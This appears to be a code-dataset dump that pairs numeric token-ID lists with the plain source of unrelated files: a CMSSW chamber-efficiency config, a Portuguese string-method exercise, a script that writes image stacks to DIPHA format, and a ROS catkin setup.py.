13,
4706,
12020,
20894,
2333,
2392,
29898,
29888,
29915,
2525,
519,
304,
2436,
304,
1480,
3884,
426,
1188,
3972,
29913,
1495,
13,
13,
1678,
736,
1480,
3972,
13,
13,
13,
1753,
6230,
29918,
21027,
29898,
1188,
3972,
29892,
10944,
1125,
13,
1678,
9995,
2697,
701,
12183,
297,
278,
3884,
6790,
491,
376,
1188,
3972,
1642,
13,
13,
539,
450,
1480,
934,
1024,
338,
278,
376,
13506,
29908,
2980,
5643,
491,
263,
14334,
29889,
13,
13,
539,
16171,
7191,
871,
748,
304,
934,
29892,
4129,
1683,
884,
5771,
304,
278,
13,
539,
2991,
1213,
15945,
13,
13,
1678,
396,
6204,
278,
1480,
3884,
937,
565,
5181,
29889,
13,
1678,
1480,
3972,
29918,
6897,
353,
1653,
29918,
1188,
3972,
29898,
1188,
3972,
29897,
13,
1678,
1480,
1445,
353,
2897,
29889,
2084,
29889,
7122,
29898,
13,
4706,
1480,
3972,
29918,
6897,
29892,
931,
29889,
710,
615,
603,
29898,
29888,
29915,
29912,
13506,
7402,
29995,
29979,
19222,
29885,
19222,
29881,
19222,
29950,
29995,
29924,
29995,
29903,
29889,
1188,
1495,
13,
1678,
1723,
13,
13,
1678,
396,
3789,
701,
12183,
13,
1678,
1480,
29889,
842,
10108,
29898,
21027,
29889,
18525,
29897,
13,
1678,
1136,
29918,
29882,
353,
12183,
29889,
3835,
4598,
29898,
9675,
29889,
25393,
29897,
13,
1678,
1136,
29918,
29882,
29889,
842,
10108,
29898,
21027,
29889,
11690,
29897,
13,
1678,
1480,
29889,
1202,
4598,
29898,
3200,
29918,
29882,
29897,
13,
1678,
934,
29918,
29882,
353,
12183,
29889,
2283,
4598,
29898,
1188,
1445,
29897,
13,
1678,
934,
29918,
29882,
29889,
842,
10108,
29898,
21027,
29889,
18525,
29897,
13,
1678,
1480,
29889,
1202,
4598,
29898,
1445,
29918,
29882,
29897,
13,
13,
1678,
396,
4522,
988,
278,
1480,
934,
338,
13,
1678,
1480,
29889,
8382,
29898,
29888,
29915,
3403,
934,
29901,
426,
1188,
1445,
1012,
29876,
1495,
13,
1678,
1480,
29889,
8382,
877,
1495,
13,
13,
13,
1753,
1480,
29918,
5085,
29898,
5085,
1125,
13,
1678,
9995,
9182,
599,
278,
2980,
1819,
15945,
29908,
13,
1678,
1480,
29889,
8382,
877,
20182,
2957,
6273,
1495,
13,
1678,
1480,
29889,
8382,
877,
9166,
1360,
1495,
13,
13,
1678,
363,
1852,
297,
24987,
29898,
5085,
1125,
13,
4706,
1855,
1191,
353,
337,
29889,
1491,
877,
29918,
742,
17411,
742,
1852,
29897,
13,
4706,
659,
353,
679,
5552,
29898,
5085,
29892,
1852,
29897,
13,
4706,
1480,
29889,
8382,
29898,
29888,
29915,
489,
29912,
6370,
1191,
29901,
29906,
29900,
6177,
426,
791,
29913,
1495,
13,
13,
1678,
1480,
29889,
8382,
877,
1495,
13,
13,
13,
1753,
1284,
29918,
1785,
16580,
29879,
7295,
13,
1678,
9995,
29923,
8058,
403,
599,
278,
23513,
29879,
297,
22968,
936,
1797,
29889,
29871,
450,
23513,
29879,
526,
13,
539,
1476,
297,
278,
525,
4351,
29915,
1014,
12322,
310,
278,
3876,
3884,
29889,
29871,
3789,
701,
5534,
13,
539,
4128,
363,
278,
2752,
322,
2048,
23513,
17525,
29889,
13,
13,
539,
7106,
278,
1051,
310,
23513,
29879,
1213,
15945,
13,
1678,
330,
29886,
1839,
1785,
305,
3972,
2033,
353,
2897,
29889,
2084,
29889,
7122,
29898,
29887,
29886,
1839,
4632,
3972,
7464,
525,
4351,
1495,
13,
1678,
330,
29886,
1839,
6448,
29918,
1785,
305,
3972,
2033,
353,
2897,
29889,
2084,
29889,
7122,
29898,
29887,
29886,
1839,
6448,
7464,
525,
4351,
1495,
13,
1678,
4516,
1761,
353,
2897,
29889,
1761,
3972,
29898,
29887,
29886,
1839,
1785,
305,
3972,
11287,
13,
13,
1678,
23513,
29879,
353,
5159,
13,
13,
1678,
363,
3856,
305,
297,
4516,
1761,
29901,
13,
4706,
6425,
29918,
29890,
353,
2897,
29889,
2084,
29889,
7122,
29898,
29887,
29886,
1839,
1785,
305,
3972,
7464,
3856,
305,
29897,
13,
4706,
565,
2897,
29889,
2084,
29889,
275,
3972,
29898,
6897,
29918,
29890,
1125,
13,
9651,
23513,
29879,
29889,
4397,
29898,
1785,
305,
29897,
13,
13,
1678,
23513,
29879,
29889,
6605,
580,
13,
13,
1678,
736,
23513,
29879,
13,
13,
13,
1753,
1480,
29918,
1785,
16580,
29879,
29898,
1785,
16580,
29879,
1125,
13,
1678,
9995,
9182,
599,
278,
23513,
29879,
297,
278,
1480,
15945,
29908,
13,
1678,
1480,
29889,
8382,
877,
20841,
16580,
29879,
1495,
13,
1678,
1480,
29889,
8382,
877,
4936,
1360,
1495,
13,
13,
1678,
363,
3856,
305,
297,
23513,
29879,
29901,
13,
4706,
1480,
29889,
8382,
29898,
1785,
305,
29897,
13,
13,
1678,
1480,
29889,
8382,
877,
1495,
13,
13,
13,
1753,
10272,
29918,
479,
608,
273,
29898,
1785,
16580,
29879,
29892,
10650,
29918,
1272,
29892,
1104,
29918,
1272,
1125,
13,
1678,
9995,
20606,
29872,
278,
26224,
2099,
322,
2302,
278,
1353,
310,
848,
3291,
363,
278,
13,
539,
19056,
23513,
29879,
29892,
10650,
322,
2984,
635,
6198,
848,
29889,
7106,
263,
13,
539,
1051,
310,
26224,
2099,
322,
2302,
310,
848,
29892,
411,
263,
1213,
15945,
13,
13,
1678,
1737,
608,
273,
353,
29871,
29896,
29889,
29900,
13,
1678,
2302,
353,
29871,
29900,
29889,
29900,
13,
13,
1678,
363,
3856,
305,
297,
23513,
29879,
29901,
13,
4706,
565,
330,
29886,
1839,
23552,
2033,
29901,
13,
9651,
396,
399,
424,
8380,
2582,
29889,
18076,
487,
5225,
1819,
13,
9651,
565,
3856,
305,
297,
10650,
29918,
1272,
29901,
13,
18884,
565,
10650,
29918,
1272,
29961,
1785,
305,
29962,
1405,
29871,
29900,
29901,
13,
462,
1678,
2302,
4619,
29871,
29896,
13,
462,
1678,
1737,
608,
273,
334,
29922,
10650,
29918,
1272,
29961,
1785,
305,
29962,
13,
4706,
1683,
29901,
13,
9651,
396,
399,
424,
6198,
2582,
313,
1552,
2322,
467,
18076,
487,
5225,
995,
13,
9651,
565,
3856,
305,
297,
1104,
29918,
1272,
29901,
13,
18884,
565,
1104,
29918,
1272,
29961,
1785,
305,
29962,
1405,
29871,
29900,
29901,
13,
462,
1678,
2302,
4619,
29871,
29896,
13,
462,
1678,
1737,
608,
273,
334,
29922,
1104,
29918,
1272,
29961,
1785,
305,
29962,
13,
13,
1678,
565,
2302,
1405,
29871,
29900,
29889,
29900,
29901,
13,
4706,
1737,
608,
273,
353,
4764,
29898,
479,
608,
273,
29892,
29871,
29896,
29889,
29900,
847,
2302,
29897,
13,
13,
1678,
736,
1737,
608,
273,
29892,
2302,
13,
13,
13,
1753,
10272,
29918,
479,
359,
29881,
29898,
1785,
16580,
29879,
29892,
10650,
29918,
1272,
29892,
1104,
29918,
1272,
29892,
1737,
608,
273,
29892,
2302,
1125,
13,
1678,
9995,
20606,
29872,
26224,
3918,
29522,
363,
278,
2183,
731,
310,
23513,
29879,
29892,
13,
539,
773,
278,
19056,
10650,
322,
3523,
262,
635,
6198,
848,
29889,
910,
4216,
29879,
373,
278,
13,
539,
9251,
15712,
26224,
2099,
322,
2302,
363,
1269,
23513,
29889,
13,
13,
539,
7106,
26224,
3918,
29522,
1213,
15945,
13,
1678,
301,
1983,
675,
353,
29871,
29900,
29889,
29900,
13,
1678,
1737,
359,
29881,
353,
29871,
29900,
29889,
29900,
13,
13,
1678,
363,
3856,
305,
297,
23513,
29879,
29901,
13,
4706,
565,
330,
29886,
1839,
23552,
2033,
29901,
13,
9651,
396,
399,
424,
8380,
2582,
13,
9651,
565,
10650,
29918,
1272,
29961,
1785,
305,
29962,
1405,
29871,
29900,
29889,
29900,
29901,
13,
18884,
301,
1983,
675,
4619,
5844,
29889,
12248,
29898,
755,
29889,
1188,
29898,
1610,
29918,
1272,
29961,
1785,
305,
29962,
847,
1737,
608,
273,
511,
29871,
29906,
29897,
13,
4706,
1683,
29901,
13,
9651,
396,
399,
424,
6198,
2582,
313,
1552,
2322,
467,
13,
9651,
565,
1104,
29918,
1272,
29961,
1785,
305,
29962,
1405,
29871,
29900,
29889,
29900,
29901,
13,
18884,
301,
1983,
675,
4619,
5844,
29889,
12248,
29898,
755,
29889,
1188,
29898,
2674,
29918,
1272,
29961,
1785,
305,
29962,
847,
1737,
608,
273,
511,
29871,
29906,
29897,
13,
13,
1678,
396,
11796,
29872,
278,
3918,
29522,
773,
278,
301,
1983,
675,
848,
363,
1269,
23513,
29889,
13,
1678,
565,
2302,
1405,
29871,
29900,
29889,
29900,
29901,
13,
4706,
1737,
359,
29881,
353,
5844,
29889,
4548,
29898,
755,
29889,
3676,
29898,
29880,
1983,
675,
847,
2302,
876,
13,
13,
1678,
736,
1737,
359,
29881,
13,
13,
13,
1753,
10272,
29918,
479,
272,
927,
29898,
479,
608,
273,
29892,
1737,
359,
29881,
29892,
2302,
1125,
13,
1678,
9995,
20606,
29872,
278,
26224,
3464,
310,
697,
26224,
3918,
29522,
2820,
13,
539,
278,
26224,
2099,
29889,
29871,
7106,
278,
26224,
3464,
1213,
15945,
13,
13,
1678,
1737,
272,
927,
353,
29871,
29900,
29889,
29900,
13,
13,
1678,
565,
2302,
1405,
29871,
29900,
29901,
13,
4706,
565,
1737,
359,
29881,
1405,
29871,
29900,
29889,
29900,
29901,
13,
9651,
1737,
272,
927,
353,
1737,
608,
273,
334,
1737,
359,
29881,
448,
1737,
608,
273,
847,
1737,
359,
29881,
13,
4706,
1683,
29901,
13,
9651,
1737,
272,
927,
353,
29871,
29900,
29889,
29900,
13,
13,
1678,
736,
1737,
272,
927,
13,
13,
13,
1753,
1962,
29918,
16202,
29898,
479,
608,
273,
29892,
1737,
359,
29881,
29892,
1737,
272,
927,
29892,
2302,
1125,
13,
1678,
9995,
6466,
278,
24148,
15837,
1213,
15945,
13,
1678,
1737,
608,
273,
29918,
459,
353,
6629,
13,
1678,
1737,
359,
29881,
29918,
459,
353,
6629,
13,
1678,
1737,
272,
927,
29918,
459,
353,
6629,
13,
13,
1678,
565,
2302,
1405,
29871,
29900,
29901,
13,
4706,
565,
330,
29886,
1839,
23552,
2033,
29901,
13,
9651,
1737,
608,
273,
29918,
459,
353,
285,
29915,
29912,
14486,
29898,
479,
608,
273,
1125,
29947,
29892,
10162,
13,
9651,
1737,
359,
29881,
29918,
459,
353,
285,
29915,
268,
426,
29898,
479,
359,
29881,
1125,
29953,
29889,
29906,
29888,
10162,
13,
9651,
1737,
272,
927,
29918,
459,
353,
285,
29915,
29912,
14486,
29898,
479,
272,
927,
1125,
29947,
29892,
10162,
13,
4706,
1683,
29901,
13,
9651,
1737,
608,
273,
29918,
459,
353,
285,
29915,
29871,
426,
479,
608,
273,
29901,
29953,
29889,
29906,
29888,
10162,
13,
9651,
1737,
359,
29881,
29918,
459,
353,
285,
29915,
29871,
426,
479,
359,
29881,
29901,
29953,
29889,
29906,
29888,
10162,
13,
9651,
1737,
272,
927,
29918,
459,
353,
285,
29915,
29871,
426,
479,
272,
927,
29901,
29953,
29889,
29906,
29888,
10162,
13,
1678,
1683,
29901,
13,
4706,
1737,
608,
273,
29918,
459,
353,
525,
448,
259,
525,
13,
4706,
1737,
359,
29881,
29918,
459,
353,
525,
448,
259,
525,
13,
4706,
1737,
272,
927,
29918,
459,
353,
525,
448,
1678,
525,
13,
13,
1678,
396,
10604,
278,
2582,
13,
1678,
1480,
29889,
3888,
877,
1378,
29899,
965,
448,
807,
1495,
13,
1678,
1480,
29889,
3888,
29898,
29888,
29915,
7999,
14066,
2099,
259,
426,
479,
608,
273,
29918,
459,
29901,
29947,
29913,
1495,
13,
1678,
1480,
29889,
3888,
29898,
29888,
29915,
7999,
14066,
8073,
268,
426,
479,
359,
29881,
29918,
459,
29901,
29947,
29913,
1495,
13,
1678,
1480,
29889,
3888,
29898,
29888,
29915,
7999,
14066,
3464,
29871,
426,
479,
272,
927,
29918,
459,
29901,
29947,
29913,
1495,
13,
13,
13,
1753,
953,
1785,
305,
29918,
16202,
29898,
1785,
16580,
29879,
29892,
10650,
29918,
1272,
29892,
1104,
29918,
1272,
1125,
13,
1678,
9995,
6466,
13964,
15837,
363,
2812,
1785,
305,
1213,
15945,
13,
1678,
1737,
608,
273,
29892,
2302,
353,
10272,
29918,
479,
608,
273,
29898,
1785,
16580,
29879,
29892,
10650,
29918,
1272,
29892,
1104,
29918,
1272,
29897,
13,
1678,
1737,
359,
29881,
353,
10272,
29918,
479,
359,
29881,
29898,
1785,
16580,
29879,
29892,
10650,
29918,
1272,
29892,
1104,
29918,
1272,
29892,
1737,
608,
273,
29892,
2302,
29897,
13,
1678,
1737,
272,
927,
353,
10272,
29918,
479,
272,
927,
29898,
479,
608,
273,
29892,
1737,
359,
29881,
29892,
2302,
29897,
13,
1678,
1962,
29918,
16202,
29898,
479,
608,
273,
29892,
1737,
359,
29881,
29892,
1737,
272,
927,
29892,
2302,
29897,
13,
2
] |
DQM/DTMonitorModule/python/dtChamberEfficiencyHI_cfi.py | pasmuss/cmssw | 0 | 7431 | <gh_stars>0
import FWCore.ParameterSet.Config as cms
from RecoMuon.TrackingTools.MuonServiceProxy_cff import MuonServiceProxy
dtEfficiencyMonitor = cms.EDAnalyzer("DTChamberEfficiency",
MuonServiceProxy,
debug = cms.untracked.bool(True),
TrackCollection = cms.InputTag("standAloneMuons"),
theMaxChi2 = cms.double(1000.),
theNSigma = cms.double(3.),
theMinNrec = cms.double(5.),
dt4DSegments = cms.InputTag("dt4DSegments"),
theRPCRecHits = cms.InputTag("dummy"),
thegemRecHits = cms.InputTag("dummy"),
cscSegments = cms.InputTag("dummy"),
RPCLayers = cms.bool(False),
NavigationType = cms.string("Standard")
)
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29900,
13,
5215,
383,
29956,
9203,
29889,
9329,
2697,
29889,
3991,
408,
274,
1516,
13,
13,
3166,
3599,
29877,
29924,
29884,
265,
29889,
17936,
292,
24183,
29889,
29924,
29884,
265,
3170,
14048,
29918,
29883,
600,
1053,
8229,
265,
3170,
14048,
29871,
13,
13,
6008,
29923,
2416,
13396,
7185,
2105,
353,
274,
1516,
29889,
3352,
2744,
14997,
3298,
703,
12972,
1451,
314,
495,
29923,
2416,
13396,
613,
13,
1678,
8229,
265,
3170,
14048,
29892,
13,
1678,
4744,
353,
274,
1516,
29889,
1657,
22282,
287,
29889,
11227,
29898,
5574,
511,
13,
1678,
17026,
7196,
353,
274,
1516,
29889,
4290,
8176,
703,
1689,
2499,
650,
29924,
29884,
787,
4968,
418,
13,
1678,
278,
7976,
1451,
29875,
29906,
353,
274,
1516,
29889,
8896,
29898,
29896,
29900,
29900,
29900,
9774,
13,
1678,
278,
3059,
2934,
353,
274,
1516,
29889,
8896,
29898,
29941,
9774,
13,
1678,
278,
8140,
29940,
3757,
353,
274,
1516,
29889,
8896,
29898,
29945,
9774,
13,
1678,
11636,
29946,
8452,
387,
1860,
353,
274,
1516,
29889,
4290,
8176,
703,
6008,
29946,
8452,
387,
1860,
4968,
13,
1678,
278,
29934,
9026,
4789,
29950,
1169,
353,
274,
1516,
29889,
4290,
8176,
703,
29881,
11770,
4968,
13,
1678,
278,
17797,
4789,
29950,
1169,
353,
274,
1516,
29889,
4290,
8176,
703,
29881,
11770,
4968,
13,
1678,
274,
1557,
17669,
1860,
353,
274,
1516,
29889,
4290,
8176,
703,
29881,
11770,
4968,
13,
1678,
390,
29925,
6154,
388,
414,
353,
274,
1516,
29889,
11227,
29898,
8824,
511,
13,
1678,
23001,
1542,
353,
274,
1516,
29889,
1807,
703,
15449,
1159,
13,
29897,
13,
13,
2
] |
Curso Python/ex004.py | sandro-fidelis/Cursos | 0 | 154293 | <filename>Curso Python/ex004.py<gh_stars>0
a = input('Digite algo ')
print(' O tipo primitivo desse valor é:',type(a))
print('Só tem espaços?',a.isspace())
print('É um número?', a.isnumeric())
print('É alfabético?',a.isalpha())
print('é alfanumérico?',a.isalnum())
print('Está em maiúscula?',a.isupper())
print('Está em minúsculo?',a.islower())
print('Está captalizada?',a.istitle())
| [
1,
529,
9507,
29958,
23902,
578,
5132,
29914,
735,
29900,
29900,
29946,
29889,
2272,
29966,
12443,
29918,
303,
1503,
29958,
29900,
13,
29874,
353,
1881,
877,
14991,
568,
24673,
25710,
13,
2158,
877,
438,
13306,
28147,
4243,
553,
344,
16497,
904,
29901,
742,
1853,
29898,
29874,
876,
13,
2158,
877,
29903,
29980,
1350,
9015,
16152,
29973,
742,
29874,
29889,
790,
3535,
3101,
13,
2158,
877,
30062,
1922,
13831,
29973,
742,
263,
29889,
275,
21574,
3101,
13,
2158,
877,
30062,
394,
16582,
23284,
29973,
742,
29874,
29889,
275,
2312,
3101,
13,
2158,
877,
29948,
394,
12963,
398,
1064,
1417,
29973,
742,
29874,
29889,
275,
284,
1949,
3101,
13,
2158,
877,
12787,
29976,
953,
5530,
30030,
1557,
2497,
29973,
742,
29874,
29889,
275,
21064,
3101,
13,
2158,
877,
12787,
29976,
953,
1375,
30030,
1557,
7207,
29973,
742,
29874,
29889,
275,
13609,
3101,
13,
2158,
877,
12787,
29976,
4332,
284,
18954,
29973,
742,
29874,
29889,
391,
1740,
3101,
13,
13,
13,
13,
2
] |
morse_DMT/write_dipha_file_3d_revise.py | YinuoJin/DMT_loss | 1 | 8137 | import sys
from matplotlib import image as mpimg
import numpy as np
import os
DIPHA_CONST = 8067171840
DIPHA_IMAGE_TYPE_CONST = 1
DIM = 3
input_dir = os.path.join(os.getcwd(), sys.argv[1])
dipha_output_filename = sys.argv[2]
vert_filename = sys.argv[3]
input_filenames = [name
for name in os.listdir(input_dir)
if (os.path.isfile(input_dir + '/' + name)) and (name != ".DS_Store")]
input_filenames.sort()
image = mpimg.imread(os.path.join(input_dir, input_filenames[0]))
nx, ny = image.shape
del image
nz = len(input_filenames)
print(nx, ny, nz)
#sys.exit()
im_cube = np.zeros([nx, ny, nz])
i = 0
for name in input_filenames:
sys.stdout.flush()
print(i, name)
fileName = input_dir + "/" + name
im_cube[:, :, i] = mpimg.imread(fileName)
i = i + 1
print('writing dipha output...')
with open(dipha_output_filename, 'wb') as output_file:
# this is needed to verify you are giving dipha a dipha file
np.int64(DIPHA_CONST).tofile(output_file)
# this tells dipha that we are giving an image as input
np.int64(DIPHA_IMAGE_TYPE_CONST).tofile(output_file)
# number of points
np.int64(nx * ny * nz).tofile(output_file)
# dimension
np.int64(DIM).tofile(output_file)
# pixels in each dimension
np.int64(nx).tofile(output_file)
np.int64(ny).tofile(output_file)
np.int64(nz).tofile(output_file)
# pixel values
for k in range(nz):
sys.stdout.flush()
print('dipha - working on image', k)
for j in range(ny):
for i in range(nx):
val = int(-im_cube[i, j, k]*255)
'''
if val != 0 and val != -1:
print('val check:', val)
'''
np.float64(val).tofile(output_file)
output_file.close()
print('writing vert file')
with open(vert_filename, 'w') as vert_file:
for k in range(nz):
sys.stdout.flush()
print('verts - working on image', k)
for j in range(ny):
for i in range(nx):
vert_file.write(str(i) + ' ' + str(j) + ' ' + str(k) + ' ' + str(int(-im_cube[i, j, k] * 255)) + '\n')
vert_file.close()
print(nx, ny, nz)
| [
1,
1053,
10876,
30004,
13,
3166,
22889,
1053,
1967,
408,
22326,
2492,
30004,
13,
5215,
12655,
408,
7442,
30004,
13,
5215,
2897,
30004,
13,
30004,
13,
4571,
29925,
15715,
29918,
6007,
1254,
353,
29871,
29947,
29900,
29953,
29955,
29896,
29955,
29896,
29947,
29946,
29900,
30004,
13,
4571,
29925,
15715,
29918,
2382,
29918,
11116,
29918,
6007,
1254,
353,
29871,
29896,
30004,
13,
4571,
29924,
353,
29871,
29941,
30004,
13,
30004,
13,
2080,
29918,
3972,
353,
2897,
29889,
2084,
29889,
7122,
29898,
359,
29889,
657,
29883,
9970,
3285,
10876,
29889,
19218,
29961,
29896,
2314,
30004,
13,
6051,
2026,
29918,
4905,
29918,
9507,
353,
10876,
29889,
19218,
29961,
29906,
29962,
30004,
13,
1765,
29918,
9507,
353,
10876,
29889,
19218,
29961,
29941,
29962,
30004,
13,
30004,
13,
2080,
29918,
1777,
264,
1280,
353,
518,
978,
30004,
13,
462,
259,
363,
1024,
297,
2897,
29889,
1761,
3972,
29898,
2080,
29918,
3972,
8443,
13,
462,
259,
565,
313,
359,
29889,
2084,
29889,
275,
1445,
29898,
2080,
29918,
3972,
718,
8207,
29915,
718,
1024,
876,
322,
313,
978,
2804,
11393,
8452,
29918,
9044,
13531,
30004,
13,
2080,
29918,
1777,
264,
1280,
29889,
6605,
26471,
13,
30004,
13,
30004,
13,
3027,
353,
22326,
2492,
29889,
326,
949,
29898,
359,
29889,
2084,
29889,
7122,
29898,
2080,
29918,
3972,
29892,
1881,
29918,
1777,
264,
1280,
29961,
29900,
12622,
30004,
13,
23818,
29892,
7098,
353,
1967,
29889,
12181,
30004,
13,
6144,
1967,
30004,
13,
29876,
29920,
353,
7431,
29898,
2080,
29918,
1777,
264,
1280,
8443,
13,
30004,
13,
2158,
29898,
23818,
29892,
7098,
29892,
302,
29920,
8443,
13,
29937,
9675,
29889,
13322,
26471,
13,
326,
29918,
29883,
4003,
353,
7442,
29889,
3298,
359,
4197,
23818,
29892,
7098,
29892,
302,
29920,
2314,
30004,
13,
30004,
13,
29875,
353,
29871,
29900,
30004,
13,
1454,
1024,
297,
1881,
29918,
1777,
264,
1280,
29901,
30004,
13,
1678,
10876,
29889,
25393,
29889,
23126,
26471,
13,
1678,
1596,
29898,
29875,
29892,
1024,
8443,
13,
1678,
29729,
353,
1881,
29918,
3972,
718,
5591,
29908,
718,
1024,
30004,
13,
1678,
527,
29918,
29883,
4003,
7503,
29892,
584,
29892,
474,
29962,
353,
22326,
2492,
29889,
326,
949,
29898,
28926,
8443,
13,
1678,
474,
353,
474,
718,
29871,
29896,
30004,
13,
30004,
13,
30004,
13,
2158,
877,
16554,
652,
2026,
1962,
856,
1495,
30004,
13,
2541,
1722,
29898,
6051,
2026,
29918,
4905,
29918,
9507,
29892,
525,
29893,
29890,
1495,
408,
1962,
29918,
1445,
29901,
30004,
13,
1678,
396,
445,
338,
4312,
304,
11539,
366,
526,
6820,
652,
2026,
263,
652,
2026,
934,
30004,
13,
1678,
7442,
29889,
524,
29953,
29946,
29898,
4571,
29925,
15715,
29918,
6007,
1254,
467,
517,
1445,
29898,
4905,
29918,
1445,
8443,
13,
1678,
396,
445,
10603,
652,
2026,
393,
591,
526,
6820,
385,
1967,
408,
1881,
30004,
13,
1678,
7442,
29889,
524,
29953,
29946,
29898,
4571,
29925,
15715,
29918,
2382,
29918,
11116,
29918,
6007,
1254,
467,
517,
1445,
29898,
4905,
29918,
1445,
8443,
13,
1678,
396,
1353,
310,
3291,
30004,
13,
1678,
7442,
29889,
524,
29953,
29946,
29898,
23818,
334,
7098,
334,
302,
29920,
467,
517,
1445,
29898,
4905,
29918,
1445,
8443,
13,
1678,
396,
9927,
30004,
13,
1678,
7442,
29889,
524,
29953,
29946,
29898,
4571,
29924,
467,
517,
1445,
29898,
4905,
29918,
1445,
8443,
13,
1678,
396,
17036,
297,
1269,
9927,
30004,
13,
1678,
7442,
29889,
524,
29953,
29946,
29898,
23818,
467,
517,
1445,
29898,
4905,
29918,
1445,
8443,
13,
1678,
7442,
29889,
524,
29953,
29946,
29898,
1460,
467,
517,
1445,
29898,
4905,
29918,
1445,
8443,
13,
1678,
7442,
29889,
524,
29953,
29946,
29898,
29876,
29920,
467,
517,
1445,
29898,
4905,
29918,
1445,
8443,
13,
1678,
396,
15526,
1819,
30004,
13,
1678,
363,
413,
297,
3464,
29898,
29876,
29920,
1125,
30004,
13,
4706,
10876,
29889,
25393,
29889,
23126,
26471,
13,
4706,
1596,
877,
6051,
2026,
448,
1985,
373,
1967,
742,
413,
8443,
13,
4706,
363,
432,
297,
3464,
29898,
1460,
1125,
30004,
13,
9651,
363,
474,
297,
3464,
29898,
23818,
1125,
30004,
13,
18884,
659,
353,
938,
6278,
326,
29918,
29883,
4003,
29961,
29875,
29892,
432,
29892,
413,
14178,
29906,
29945,
29945,
8443,
13,
18884,
14550,
30004,
13,
18884,
565,
659,
2804,
29871,
29900,
322,
659,
2804,
448,
29896,
29901,
30004,
13,
462,
1678,
1596,
877,
791,
1423,
29901,
742,
659,
8443,
13,
18884,
14550,
30004,
13,
18884,
7442,
29889,
7411,
29953,
29946,
29898,
791,
467,
517,
1445,
29898,
4905,
29918,
1445,
8443,
13,
1678,
1962,
29918,
1445,
29889,
5358,
26471,
13,
30004,
13,
2158,
877,
16554,
4837,
934,
1495,
30004,
13,
2541,
1722,
29898,
1765,
29918,
9507,
29892,
525,
29893,
1495,
408,
4837,
29918,
1445,
29901,
30004,
13,
1678,
363,
413,
297,
3464,
29898,
29876,
29920,
1125,
30004,
13,
4706,
10876,
29889,
25393,
29889,
23126,
26471,
13,
4706,
1596,
877,
369,
1372,
448,
1985,
373,
1967,
742,
413,
8443,
13,
4706,
363,
432,
297,
3464,
29898,
1460,
1125,
30004,
13,
9651,
363,
474,
297,
3464,
29898,
23818,
1125,
30004,
13,
18884,
4837,
29918,
1445,
29889,
3539,
29898,
710,
29898,
29875,
29897,
718,
525,
525,
718,
851,
29898,
29926,
29897,
718,
525,
525,
718,
851,
29898,
29895,
29897,
718,
525,
525,
718,
851,
29898,
524,
6278,
326,
29918,
29883,
4003,
29961,
29875,
29892,
432,
29892,
413,
29962,
334,
29871,
29906,
29945,
29945,
876,
718,
11297,
29876,
1495,
30004,
13,
1678,
4837,
29918,
1445,
29889,
5358,
26471,
13,
30004,
13,
2158,
29898,
23818,
29892,
7098,
29892,
302,
29920,
8443,
13,
2
] |
setup.py | CollinNHays/python_qt_binding | 20 | 1606685 | #!/usr/bin/env python
try:
from setuptools import setup
except ImportError:
from distutils.core import setup
try:
from catkin_pkg.python_setup import generate_distutils_setup
d = generate_distutils_setup()
except ImportError:
# extract information from package.xml manually when catkin_pkg is unavailable
from xml.etree import ElementTree
tree = ElementTree.parse('package.xml')
root = tree.getroot()
d = {
'name': root.find('./name').text,
'version': root.find('./version').text,
'maintainer': root.findall('./maintainer')[0].text,
'maintainer_email': root.findall('./maintainer')[0].attrib['email'],
'license': ', '.join([x.text for x in root.findall('./license')]),
'url': root.findall('./url')[0].text,
'author': ', '.join([x.text for x in root.findall('./author')]),
}
description = root.find('./description').text.strip()
if len(description) <= 200:
d['description'] = description
else:
d['description'] = description[:197] + '...'
d['long_description'] = description
d.update({
'packages': [d['name']],
'package_dir': {'': 'src'},
'classifiers': [
'Development Status :: 5 - Production/Stable',
'Intended Audience :: Developers',
'Operating System :: OS Independent',
'Programming Language :: Python',
'Topic :: Software Development :: Libraries :: Python Modules',
'License :: OSI Approved :: BSD License',
'License :: OSI Approved :: GNU Library or Lesser General Public License (LGPL)',
'License :: OSI Approved :: GNU General Public License (GPL)',
],
})
setup(**d)
| [
1,
18787,
4855,
29914,
2109,
29914,
6272,
3017,
13,
13,
2202,
29901,
13,
1678,
515,
731,
21245,
8789,
1053,
6230,
13,
19499,
16032,
2392,
29901,
13,
1678,
515,
1320,
13239,
29889,
3221,
1053,
6230,
13,
13,
2202,
29901,
13,
1678,
515,
6635,
9089,
29918,
15865,
29889,
4691,
29918,
14669,
1053,
5706,
29918,
5721,
13239,
29918,
14669,
13,
1678,
270,
353,
5706,
29918,
5721,
13239,
29918,
14669,
580,
13,
19499,
16032,
2392,
29901,
13,
1678,
396,
6597,
2472,
515,
3577,
29889,
3134,
7522,
746,
6635,
9089,
29918,
15865,
338,
443,
16515,
13,
1678,
515,
4903,
29889,
300,
929,
1053,
10619,
9643,
13,
1678,
5447,
353,
10619,
9643,
29889,
5510,
877,
5113,
29889,
3134,
1495,
13,
1678,
3876,
353,
5447,
29889,
657,
4632,
580,
13,
1678,
270,
353,
426,
13,
4706,
525,
978,
2396,
3876,
29889,
2886,
877,
6904,
978,
2824,
726,
29892,
13,
4706,
525,
3259,
2396,
3876,
29889,
2886,
877,
6904,
3259,
2824,
726,
29892,
13,
4706,
525,
29885,
2365,
4008,
2396,
3876,
29889,
2886,
497,
877,
6904,
29885,
2365,
4008,
29861,
29900,
1822,
726,
29892,
13,
4706,
525,
29885,
2365,
4008,
29918,
5269,
2396,
3876,
29889,
2886,
497,
877,
6904,
29885,
2365,
4008,
29861,
29900,
1822,
1131,
1091,
1839,
5269,
7464,
13,
4706,
525,
506,
1947,
2396,
13420,
15300,
7122,
4197,
29916,
29889,
726,
363,
921,
297,
3876,
29889,
2886,
497,
877,
6904,
506,
1947,
1495,
11724,
13,
4706,
525,
2271,
2396,
3876,
29889,
2886,
497,
877,
6904,
2271,
29861,
29900,
1822,
726,
29892,
13,
4706,
525,
8921,
2396,
13420,
15300,
7122,
4197,
29916,
29889,
726,
363,
921,
297,
3876,
29889,
2886,
497,
877,
6904,
8921,
1495,
11724,
13,
1678,
500,
13,
1678,
6139,
353,
3876,
29889,
2886,
877,
6904,
8216,
2824,
726,
29889,
17010,
580,
13,
1678,
565,
7431,
29898,
8216,
29897,
5277,
29871,
29906,
29900,
29900,
29901,
13,
4706,
270,
1839,
8216,
2033,
353,
6139,
13,
1678,
1683,
29901,
13,
4706,
270,
1839,
8216,
2033,
353,
6139,
7503,
29896,
29929,
29955,
29962,
718,
525,
856,
29915,
13,
4706,
270,
1839,
5426,
29918,
8216,
2033,
353,
6139,
13,
13,
29881,
29889,
5504,
3319,
13,
1678,
525,
8318,
2396,
518,
